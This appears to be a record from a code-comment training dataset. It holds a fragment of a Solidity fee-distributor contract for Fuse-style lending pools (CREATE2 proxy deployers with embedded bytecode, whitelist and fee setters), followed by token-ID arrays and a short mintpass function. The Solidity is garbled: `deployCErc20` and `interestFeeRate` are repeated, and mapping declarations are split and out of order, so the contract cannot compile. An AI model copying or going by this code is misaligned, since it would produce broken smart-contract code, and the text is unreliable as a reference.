031690610112565b50600080546040516001600160a01b0390911690829036908083838082843760405192019450600093509091505080830381855af49150503d80600081146100c1576040519150601f19603f3d011682016040523d82523d6000602084013e6100c6565b606091505b505090506040513d6000823e8180156100dd573d82f35b3d82fd5b3480156100ed57600080fd5b506100f66101d4565b604080516001600160a01b039092168252519081900360200190f35b606060006060846001600160a01b0316846040518082805190602001908083835b602083106101525780518252601f199092019160209182019101610133565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d80600081146101b2576040519150601f19603f3d011682016040523d82523d6000602084013e6101b7565b606091505b509150915060008214156101cc573d60208201fd5b949350505050565b6000546001600160a01b03168156fea265627a7a7231582099cb628afa03dbc8f6a11f192f7b72ed7944736aab47f11754925fa6343e9c9864736f6c63430005110032";
cEtherDelegatorCreationCode = abi.encodePacked(
cEtherDelegatorCreationCode,
constructorData
);
bytes32 salt = keccak256(
abi.encodePacked(msg.sender, address(0), block.number)
);
address proxy;
assembly {
proxy := create2(
0,
add(cEtherDelegatorCreationCode, 32),
mload(cEtherDelegatorCreationCode),
salt
)
if iszero(extcodesize(proxy)) {
revert(0, "!CEther.")
}
}
return proxy;
}
function deployCEther(bytes calldata constructorData)
external
virtual
returns (address)
{
(address comptroller, , , , address implementation, , , ) = abi.decode(
constructorData,
(address, address, string, string, address, bytes, uint256, uint256)
);
require(
cEtherDelegateWhitelist[address(0)][implementation][false],
"!CEtherDelegate"
);
require(comptroller == msg.sender, "!Comptroller");
bytes
memory cEtherDelegatorCreationCode = hex"608060405234801561001057600080fd5b50604051610785380380610785833981810160405261010081101561003457600080fd5b8151602083015160408085018051915193959294830192918464010000000082111561005f57600080fd5b90830190602082018581111561007457600080fd5b825164010000000081118282018810171561008e57600080fd5b82525081516020918201929091019080838360005b838110156100bb5781810151838201526020016100a3565b50505050905090810190601f1680156100e85780820380516001836020036101000a031916815260200191505b506040526020018051604051939291908464010000000082111561010b57600080fd5b90830190602082018581111561012057600080fd5b825164010000000081118282018810171561013a57600080fd5b82525081516020918201929091019080838360005b8381101561016757818101518382015260200161014f565b50505050905090810190601f1680156101945780820380516001836020036101000a031916815260200191505b506040818152602083015192018051929491939192846401000000008211156101bc57600080fd5b9083019060208201858111156101d157600080fd5b82516401000000008111828201881017156101eb57600080fd5b82525081516020918201929091019080838360005b83811015610218578181015183820152602001610200565b50505050905090810190601f1680156102455780820380516001836020036101000a031916815260200191505b5060405260200180519060200190929190805190602001909291905050506103ba8489898989878760405160240180876001600160a01b03166001600160a01b03168152602001866001600160a01b03166001600160a01b031681526020018060200180602001858152602001848152602001838103835287818151815260200191508051906020019080838360005b838110156102ed5781810151838201526020016102d5565b50505050905090810190601f16801561031a5780820380516001836020036101000a031916815260200191505b50838103825286518152865160209182019188019080838360005b8381101561034d578181015183820152602001610335565b50505050905090810190601f16801561037a5780820380516001836020036101000a031916815260200191505b5060408051601f198184030181529190526020810180516001600160e01b03908116631e70b25560e21b1790915290995061049c16975050505050505050565b5061048e848560008660405160240180846001600160a01b03166001600160a01b031681526020018315151515815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561042557818101518382015260200161040d565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b5060408051601f198184030181529190526020810180516001600160e01b039081166350d85b7360e01b1790915290955061049c169350505050565b50505050505050505061055e565b606060006060846001600160a01b0316846040518082805190602001908083835b602083106104dc5780518252601f1990920191602091820191016104bd565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d806000811461053c576040519150601f19603f3d011682016040523d82523d6000602084013e610541565b606091505b50915091506000821415610556573d60208201fd5b949350505050565b6102188061056d6000396000f3fe60806040526004361061001e5760003560e01c80635c60da1b146100e1575b6000546040805160048152602481019091526020810180516001600160e01b031663076de25160e21b17905261005d916001600160a01b031690610112565b50600080546040516001600160a01b0390911690829036908083838082843760405192019450600093509091505080830381855af49150503d80600081146100c1576040519150601f19603f3d011682016040523d82523d6000602084013e6100c6565b606091505b505090506040513d6000823e8180156100dd573d82f35b3d82fd5b3480156100ed57600080fd5b506100f66101d4565b604080516001600160a01b039092168252519081900360200190f35b606060006060846001600160a01b0316846040518082805190602001908083835b602083106101525780518252601f199092019160209182019101610133565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d80600081146101b2576040519150601f19603f3d011682016040523d82523d6000602084013e6101b7565b606091505b509150915060008214156101cc573d60208201fd5b949350505050565b6000546001600160a01b03168156fea265627a7a7231582099cb628afa03dbc8f6a11f192f7b72ed7944736aab47f11754925fa6343e9c9864736f6c63430005110032";
cEtherDelegatorCreationCode = abi.encodePacked(
cEtherDelegatorCreationCode,
constructorData
);
bytes32 salt = keccak256(
abi.encodePacked(msg.sender, address(0), block.number)
);
address proxy;
assembly {
proxy := create2(
0,
add(cEtherDelegatorCreationCode, 32),
mload(cEtherDelegatorCreationCode),
salt
)
if iszero(extcodesize(proxy)) {
revert(0, "!CEther.")
}
}
return proxy;
}
function deployCErc20(bytes calldata constructorData)
external
virtual
returns (address)
{
(
address underlying,
address comptroller,
,
,
,
address implementation,
,
,
) = abi.decode(
constructorData,
(
address,
address,
address,
string,
string,
address,
bytes,
uint256,
uint256
)
);
require(
cErc20DelegateWhitelist[address(0)][implementation][false],
"!CErc20Delegate"
);
require(comptroller == msg.sender, "!Comptroller");
bytes
memory cErc20DelegatorCreationCode = hex"608060405234801561001057600080fd5b506040516107f53803806107f5833981810160405261012081101561003457600080fd5b81516020830151604080850151606086018051925194969395919493918201928464010000000082111561006757600080fd5b90830190602082018581111561007c57600080fd5b825164010000000081118282018810171561009657600080fd5b82525081516020918201929091019080838360005b838110156100c35781810151838201526020016100ab565b50505050905090810190601f1680156100f05780820380516001836020036101000a031916815260200191505b506040526020018051604051939291908464010000000082111561011357600080fd5b90830190602082018581111561012857600080fd5b825164010000000081118282018810171561014257600080fd5b82525081516020918201929091019080838360005b8381101561016f578181015183820152602001610157565b50505050905090810190601f16801561019c5780820380516001836020036101000a031916815260200191505b506040818152602083015192018051929491939192846401000000008211156101c457600080fd5b9083019060208201858111156101d957600080fd5b82516401000000008111828201881017156101f357600080fd5b82525081516020918201929091019080838360005b83811015610220578181015183820152602001610208565b50505050905090810190601f16801561024d5780820380516001836020036101000a031916815260200191505b50604081815260208381015193909101516001600160a01b03808e1660248501908152818e166044860152908c16606485015260c4840185905260e4840182905260e0608485019081528b516101048601528b519597509195506103b59489948f948f948f948f948f948d948d949260a4830192610124019189019080838360005b838110156102e75781810151838201526020016102cf565b50505050905090810190601f1680156103145780820380516001836020036101000a031916815260200191505b50838103825286518152865160209182019188019080838360005b8381101561034757818101518382015260200161032f565b50505050905090810190601f1680156103745780820380516001836020036101000a031916815260200191505b5060408051601f198184030181529190526020810180516001600160e01b0390811663a0b0d28960e01b17909152909a506104981698505050505050505050565b50610489848560008660405160240180846001600160a01b03166001600160a01b031681526020018315151515815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610420578181015183820152602001610408565b50505050905090810190601f16801561044d5780820380516001836020036101000a031916815260200191505b5060408051601f198184030181529190526020810180516001600160e01b039081166350d85b7360e01b17909152909550610498169350505050565b5050505050505050505061055a565b606060006060846001600160a01b0316846040518082805190602001908083835b602083106104d85780518252601f1990920191602091820191016104b9565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610538576040519150601f19603f3d011682016040523d82523d6000602084013e61053d565b606091505b50915091506000821415610552573d60208201fd5b949350505050565b61028c806105696000396000f3fe60806040526004361061001e5760003560e01c80635c60da1b1461011e575b341561005b5760405162461bcd60e51b81526004018080602001828103825260378152602001806102216037913960400191505060405180910390fd5b6000546040805160048152602481019091526020810180516001600160e01b031663076de25160e21b17905261009a916001600160a01b03169061014f565b50600080546040516001600160a01b0390911690829036908083838082843760405192019450600093509091505080830381855af49150503d80600081146100fe576040519150601f19603f3d011682016040523d82523d6000602084013e610103565b606091505b505090506040513d6000823e81801561011a573d82f35b3d82fd5b34801561012a57600080fd5b50610133610211565b604080516001600160a01b039092168252519081900360200190f35b606060006060846001600160a01b0316846040518082805190602001908083835b6020831061018f5780518252601f199092019160209182019101610170565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d80600081146101ef576040519150601f19603f3d011682016040523d82523d6000602084013e6101f4565b606091505b50915091506000821415610209573d60208201fd5b949350505050565b6000546001600160a01b03168156fe43457263323044656c656761746f723a66616c6c6261636b3a2063616e6e6f742073656e642076616c756520746f2066616c6c6261636ba265627a7a72315820b5993ce32c06c76405b2f598c9dc406d72f2951447dd5a698c7f75652745767064736f6c63430005110032";
cErc20DelegatorCreationCode = abi.encodePacked(
cErc20DelegatorCreationCode,
constructorData
);
bytes32 salt = keccak256(
abi.encodePacked(msg.sender, underlying, block.number)
);
address proxy;
assembly {
proxy := create2(
0,
add(cErc20DelegatorCreationCode, 32),
mload(cErc20DelegatorCreationCode),
salt
)
if iszero(extcodesize(proxy)) {
revert(0, "!CErc20")
}
}
return proxy;
}
public comptrollerImplementationWhitelist;
function deployCErc20(bytes calldata constructorData)
external
virtual
returns (address)
{
(
address underlying,
address comptroller,
,
,
,
address implementation,
,
,
) = abi.decode(
constructorData,
(
address,
address,
address,
string,
string,
address,
bytes,
uint256,
uint256
)
);
require(
cErc20DelegateWhitelist[address(0)][implementation][false],
"!CErc20Delegate"
);
require(comptroller == msg.sender, "!Comptroller");
bytes
memory cErc20DelegatorCreationCode = hex"608060405234801561001057600080fd5b506040516107f53803806107f5833981810160405261012081101561003457600080fd5b81516020830151604080850151606086018051925194969395919493918201928464010000000082111561006757600080fd5b90830190602082018581111561007c57600080fd5b825164010000000081118282018810171561009657600080fd5b82525081516020918201929091019080838360005b838110156100c35781810151838201526020016100ab565b50505050905090810190601f1680156100f05780820380516001836020036101000a031916815260200191505b506040526020018051604051939291908464010000000082111561011357600080fd5b90830190602082018581111561012857600080fd5b825164010000000081118282018810171561014257600080fd5b82525081516020918201929091019080838360005b8381101561016f578181015183820152602001610157565b50505050905090810190601f16801561019c5780820380516001836020036101000a031916815260200191505b506040818152602083015192018051929491939192846401000000008211156101c457600080fd5b9083019060208201858111156101d957600080fd5b82516401000000008111828201881017156101f357600080fd5b82525081516020918201929091019080838360005b83811015610220578181015183820152602001610208565b50505050905090810190601f16801561024d5780820380516001836020036101000a031916815260200191505b50604081815260208381015193909101516001600160a01b03808e1660248501908152818e166044860152908c16606485015260c4840185905260e4840182905260e0608485019081528b516101048601528b519597509195506103b59489948f948f948f948f948f948d948d949260a4830192610124019189019080838360005b838110156102e75781810151838201526020016102cf565b50505050905090810190601f1680156103145780820380516001836020036101000a031916815260200191505b50838103825286518152865160209182019188019080838360005b8381101561034757818101518382015260200161032f565b50505050905090810190601f1680156103745780820380516001836020036101000a031916815260200191505b5060408051601f198184030181529190526020810180516001600160e01b0390811663a0b0d28960e01b17909152909a506104981698505050505050505050565b50610489848560008660405160240180846001600160a01b03166001600160a01b031681526020018315151515815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610420578181015183820152602001610408565b50505050905090810190601f16801561044d5780820380516001836020036101000a031916815260200191505b5060408051601f198184030181529190526020810180516001600160e01b039081166350d85b7360e01b17909152909550610498169350505050565b5050505050505050505061055a565b606060006060846001600160a01b0316846040518082805190602001908083835b602083106104d85780518252601f1990920191602091820191016104b9565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610538576040519150601f19603f3d011682016040523d82523d6000602084013e61053d565b606091505b50915091506000821415610552573d60208201fd5b949350505050565b61028c806105696000396000f3fe60806040526004361061001e5760003560e01c80635c60da1b1461011e575b341561005b5760405162461bcd60e51b81526004018080602001828103825260378152602001806102216037913960400191505060405180910390fd5b6000546040805160048152602481019091526020810180516001600160e01b031663076de25160e21b17905261009a916001600160a01b03169061014f565b50600080546040516001600160a01b0390911690829036908083838082843760405192019450600093509091505080830381855af49150503d80600081146100fe576040519150601f19603f3d011682016040523d82523d6000602084013e610103565b606091505b505090506040513d6000823e81801561011a573d82f35b3d82fd5b34801561012a57600080fd5b50610133610211565b604080516001600160a01b039092168252519081900360200190f35b606060006060846001600160a01b0316846040518082805190602001908083835b6020831061018f5780518252601f199092019160209182019101610170565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d80600081146101ef576040519150601f19603f3d011682016040523d82523d6000602084013e6101f4565b606091505b50915091506000821415610209573d60208201fd5b949350505050565b6000546001600160a01b03168156fe43457263323044656c656761746f723a66616c6c6261636b3a2063616e6e6f742073656e642076616c756520746f2066616c6c6261636ba265627a7a72315820b5993ce32c06c76405b2f598c9dc406d72f2951447dd5a698c7f75652745767064736f6c63430005110032";
cErc20DelegatorCreationCode = abi.encodePacked(
cErc20DelegatorCreationCode,
constructorData
);
bytes32 salt = keccak256(
abi.encodePacked(msg.sender, underlying, block.number)
);
address proxy;
assembly {
proxy := create2(
0,
add(cErc20DelegatorCreationCode, 32),
mload(cErc20DelegatorCreationCode),
salt
)
if iszero(extcodesize(proxy)) {
revert(0, "!CErc20")
}
}
return proxy;
}
public comptrollerImplementationWhitelist;
function deployCErc20(bytes calldata constructorData)
external
virtual
returns (address)
{
(
address underlying,
address comptroller,
,
,
,
address implementation,
,
,
) = abi.decode(
constructorData,
(
address,
address,
address,
string,
string,
address,
bytes,
uint256,
uint256
)
);
require(
cErc20DelegateWhitelist[address(0)][implementation][false],
"!CErc20Delegate"
);
require(comptroller == msg.sender, "!Comptroller");
bytes
memory cErc20DelegatorCreationCode = hex"608060405234801561001057600080fd5b506040516107f53803806107f5833981810160405261012081101561003457600080fd5b81516020830151604080850151606086018051925194969395919493918201928464010000000082111561006757600080fd5b90830190602082018581111561007c57600080fd5b825164010000000081118282018810171561009657600080fd5b82525081516020918201929091019080838360005b838110156100c35781810151838201526020016100ab565b50505050905090810190601f1680156100f05780820380516001836020036101000a031916815260200191505b506040526020018051604051939291908464010000000082111561011357600080fd5b90830190602082018581111561012857600080fd5b825164010000000081118282018810171561014257600080fd5b82525081516020918201929091019080838360005b8381101561016f578181015183820152602001610157565b50505050905090810190601f16801561019c5780820380516001836020036101000a031916815260200191505b506040818152602083015192018051929491939192846401000000008211156101c457600080fd5b9083019060208201858111156101d957600080fd5b82516401000000008111828201881017156101f357600080fd5b82525081516020918201929091019080838360005b83811015610220578181015183820152602001610208565b50505050905090810190601f16801561024d5780820380516001836020036101000a031916815260200191505b50604081815260208381015193909101516001600160a01b03808e1660248501908152818e166044860152908c16606485015260c4840185905260e4840182905260e0608485019081528b516101048601528b519597509195506103b59489948f948f948f948f948f948d948d949260a4830192610124019189019080838360005b838110156102e75781810151838201526020016102cf565b50505050905090810190601f1680156103145780820380516001836020036101000a031916815260200191505b50838103825286518152865160209182019188019080838360005b8381101561034757818101518382015260200161032f565b50505050905090810190601f1680156103745780820380516001836020036101000a031916815260200191505b5060408051601f198184030181529190526020810180516001600160e01b0390811663a0b0d28960e01b17909152909a506104981698505050505050505050565b50610489848560008660405160240180846001600160a01b03166001600160a01b031681526020018315151515815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610420578181015183820152602001610408565b50505050905090810190601f16801561044d5780820380516001836020036101000a031916815260200191505b5060408051601f198184030181529190526020810180516001600160e01b039081166350d85b7360e01b17909152909550610498169350505050565b5050505050505050505061055a565b606060006060846001600160a01b0316846040518082805190602001908083835b602083106104d85780518252601f1990920191602091820191016104b9565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610538576040519150601f19603f3d011682016040523d82523d6000602084013e61053d565b606091505b50915091506000821415610552573d60208201fd5b949350505050565b61028c806105696000396000f3fe60806040526004361061001e5760003560e01c80635c60da1b1461011e575b341561005b5760405162461bcd60e51b81526004018080602001828103825260378152602001806102216037913960400191505060405180910390fd5b6000546040805160048152602481019091526020810180516001600160e01b031663076de25160e21b17905261009a916001600160a01b03169061014f565b50600080546040516001600160a01b0390911690829036908083838082843760405192019450600093509091505080830381855af49150503d80600081146100fe576040519150601f19603f3d011682016040523d82523d6000602084013e610103565b606091505b505090506040513d6000823e81801561011a573d82f35b3d82fd5b34801561012a57600080fd5b50610133610211565b604080516001600160a01b039092168252519081900360200190f35b606060006060846001600160a01b0316846040518082805190602001908083835b6020831061018f5780518252601f199092019160209182019101610170565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d80600081146101ef576040519150601f19603f3d011682016040523d82523d6000602084013e6101f4565b606091505b50915091506000821415610209573d60208201fd5b949350505050565b6000546001600160a01b03168156fe43457263323044656c656761746f723a66616c6c6261636b3a2063616e6e6f742073656e642076616c756520746f2066616c6c6261636ba265627a7a72315820b5993ce32c06c76405b2f598c9dc406d72f2951447dd5a698c7f75652745767064736f6c63430005110032";
cErc20DelegatorCreationCode = abi.encodePacked(
cErc20DelegatorCreationCode,
constructorData
);
bytes32 salt = keccak256(
abi.encodePacked(msg.sender, underlying, block.number)
);
address proxy;
assembly {
proxy := create2(
0,
add(cErc20DelegatorCreationCode, 32),
mload(cErc20DelegatorCreationCode),
salt
)
if iszero(extcodesize(proxy)) {
revert(0, "!CErc20")
}
}
return proxy;
}
public comptrollerImplementationWhitelist;
mapping(address => mapping(address => bool))
function _editComptrollerImplementationWhitelist(
address[] calldata oldImplementations,
address[] calldata newImplementations,
bool[] calldata statuses
) external onlyOwner {
require(
newImplementations.length > 0 &&
newImplementations.length == oldImplementations.length &&
newImplementations.length == statuses.length,
"No Comptroller implementations supplied or array lengths not equal."
);
for (uint256 i = 0; i < newImplementations.length; i++)
comptrollerImplementationWhitelist[oldImplementations[i]][
newImplementations[i]
] = statuses[i];
}
public cErc20DelegateWhitelist;
mapping(address => mapping(address => mapping(bool => bool)))
function _editCErc20DelegateWhitelist(
address[] calldata oldImplementations,
address[] calldata newImplementations,
bool[] calldata allowResign,
bool[] calldata statuses
) external onlyOwner {
require(
newImplementations.length > 0 &&
newImplementations.length == oldImplementations.length &&
newImplementations.length == allowResign.length &&
newImplementations.length == statuses.length,
"No CErc20Delegate implementations supplied or array lengths not equal."
);
for (uint256 i = 0; i < newImplementations.length; i++)
cErc20DelegateWhitelist[oldImplementations[i]][
newImplementations[i]
][allowResign[i]] = statuses[i];
}
public cEtherDelegateWhitelist;
mapping(address => mapping(address => mapping(bool => bool)))
function _editCEtherDelegateWhitelist(
address[] calldata oldImplementations,
address[] calldata newImplementations,
bool[] calldata allowResign,
bool[] calldata statuses
) external onlyOwner {
require(
newImplementations.length > 0 &&
newImplementations.length == oldImplementations.length &&
newImplementations.length == allowResign.length &&
newImplementations.length == statuses.length,
"No CEtherDelegate implementations supplied or array lengths not equal."
);
for (uint256 i = 0; i < newImplementations.length; i++)
cEtherDelegateWhitelist[oldImplementations[i]][
newImplementations[i]
][allowResign[i]] = statuses[i];
}
mapping(address => address) internal _latestComptrollerImplementation;
function latestComptrollerImplementation(address oldImplementation)
external
view
returns (address)
{
return
_latestComptrollerImplementation[oldImplementation] != address(0)
? _latestComptrollerImplementation[oldImplementation]
: oldImplementation;
}
function _setLatestComptrollerImplementation(
address oldImplementation,
address newImplementation
) external onlyOwner {
_latestComptrollerImplementation[oldImplementation] = newImplementation;
}
struct CDelegateUpgradeData {
address implementation;
bool allowResign;
bytes becomeImplementationData;
}
mapping(address => CDelegateUpgradeData) public _latestCErc20Delegate;
mapping(address => CDelegateUpgradeData) public _latestCEtherDelegate;
function latestCErc20Delegate(address oldImplementation)
external
view
returns (
address,
bool,
bytes memory
)
{
CDelegateUpgradeData memory data = _latestCErc20Delegate[
oldImplementation
];
bytes memory emptyBytes;
return
data.implementation != address(0)
? (
data.implementation,
data.allowResign,
data.becomeImplementationData
)
: (oldImplementation, false, emptyBytes);
}
function latestCEtherDelegate(address oldImplementation)
external
view
returns (
address,
bool,
bytes memory
)
{
CDelegateUpgradeData memory data = _latestCEtherDelegate[
oldImplementation
];
bytes memory emptyBytes;
return
data.implementation != address(0)
? (
data.implementation,
data.allowResign,
data.becomeImplementationData
)
: (oldImplementation, false, emptyBytes);
}
function _setLatestCEtherDelegate(
address oldImplementation,
address newImplementation,
bool allowResign,
bytes calldata becomeImplementationData
) external onlyOwner {
_latestCEtherDelegate[oldImplementation] = CDelegateUpgradeData(
newImplementation,
allowResign,
becomeImplementationData
);
}
function _setLatestCErc20Delegate(
address oldImplementation,
address newImplementation,
bool allowResign,
bytes calldata becomeImplementationData
) external onlyOwner {
_latestCErc20Delegate[oldImplementation] = CDelegateUpgradeData(
newImplementation,
allowResign,
becomeImplementationData
);
}
mapping(address => int256) public customInterestFeeRates;
function interestFeeRate() external view returns (uint256) {
(bool success, bytes memory data) = msg.sender.staticcall(
abi.encodeWithSignature("comptroller()")
);
if (success && data.length == 32) {
address comptroller = abi.decode(data, (address));
int256 customRate = customInterestFeeRates[comptroller];
if (customRate > 0) return uint256(customRate);
if (customRate < 0) return 0;
}
return defaultInterestFeeRate;
}
function interestFeeRate() external view returns (uint256) {
(bool success, bytes memory data) = msg.sender.staticcall(
abi.encodeWithSignature("comptroller()")
);
if (success && data.length == 32) {
address comptroller = abi.decode(data, (address));
int256 customRate = customInterestFeeRates[comptroller];
if (customRate > 0) return uint256(customRate);
if (customRate < 0) return 0;
}
return defaultInterestFeeRate;
}
function _setCustomInterestFeeRate(address comptroller, int256 rate)
external
onlyOwner
{
require(rate <= 1e18, "!Interest fee");
customInterestFeeRates[comptroller] = rate;
}
mapping(address => bool) public isGuardian;
function _editGuardianWhitelist(
address[] calldata accounts,
bool[] calldata status
) external onlyOwner {
require(
accounts.length > 0 && accounts.length == status.length,
"!Array lengths"
);
for (uint256 i = 0; i < accounts.length; i++)
isGuardian[accounts[i]] = status[i];
}
modifier onlyGuardian() {
require(isGuardian[msg.sender], "!guardian.");
_;
}
}
| 14,288,693 |
[
1,
42,
1202,
14667,
1669,
19293,
225,
478,
1202,
14667,
1669,
19293,
11022,
471,
17024,
1771,
1656,
281,
628,
478,
1202,
16000,
471,
1279,
8271,
3981,
4209,
358,
478,
1202,
16000,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
478,
1202,
14667,
1669,
19293,
353,
10188,
6934,
16,
14223,
6914,
10784,
429,
288,
203,
565,
1450,
5267,
10784,
429,
364,
1758,
31,
203,
565,
1450,
14060,
654,
39,
3462,
10784,
429,
364,
467,
654,
39,
3462,
10784,
429,
31,
203,
203,
565,
445,
4046,
12,
203,
3639,
1758,
3410,
16,
203,
3639,
2254,
5034,
389,
1886,
29281,
14667,
4727,
16,
203,
3639,
1758,
2172,
799,
337,
1539,
13621,
16,
203,
3639,
1758,
2172,
1441,
1136,
9586,
16,
203,
3639,
1758,
2172,
1441,
1310,
3462,
9586,
203,
683,
9454,
18035,
560,
374,
18,
26,
18,
2138,
31,
203,
565,
262,
1071,
12562,
288,
203,
3639,
2583,
24899,
1886,
29281,
14667,
4727,
1648,
404,
73,
2643,
16,
17528,
29281,
14036,
8863,
203,
3639,
1001,
5460,
429,
67,
2738,
5621,
203,
3639,
7412,
5460,
12565,
12,
8443,
1769,
203,
3639,
805,
29281,
14667,
4727,
273,
389,
1886,
29281,
14667,
4727,
31,
203,
3639,
943,
3088,
1283,
41,
451,
273,
2254,
5034,
19236,
21,
1769,
203,
3639,
943,
29180,
4727,
273,
2254,
5034,
19236,
21,
1769,
203,
3639,
532,
337,
1539,
13621,
18927,
63,
2867,
12,
20,
13,
6362,
203,
5411,
2172,
799,
337,
1539,
13621,
203,
3639,
308,
273,
638,
31,
203,
3639,
276,
41,
1136,
9586,
18927,
63,
2867,
12,
20,
13,
6362,
6769,
1441,
1136,
9586,
6362,
203,
5411,
629,
203,
3639,
308,
273,
638,
31,
203,
3639,
276,
41,
1310,
3462,
9586,
18927,
63,
2867,
12,
20,
13,
6362,
6769,
1441,
1310,
3462,
9586,
6362,
203,
5411,
629,
203,
3639,
308,
273,
2
] |
./full_match/10/0x7B9DB28288a08f9F4523ED049D6e63DF8b50DDe0/sources/src/FloorDropMintpass.sol
|
@dev Checks whether platform fee info can be set in the given execution context.
|
function _canSetClaimConditions() internal view virtual override returns (bool) {
return msg.sender == owner() || msg.sender == SECOND_ADMIN;
}
| 3,783,196 |
[
1,
4081,
2856,
4072,
14036,
1123,
848,
506,
444,
316,
326,
864,
4588,
819,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
389,
4169,
694,
9762,
8545,
1435,
2713,
1476,
5024,
3849,
1135,
261,
6430,
13,
288,
203,
3639,
327,
1234,
18,
15330,
422,
3410,
1435,
747,
1234,
18,
15330,
422,
19379,
67,
15468,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.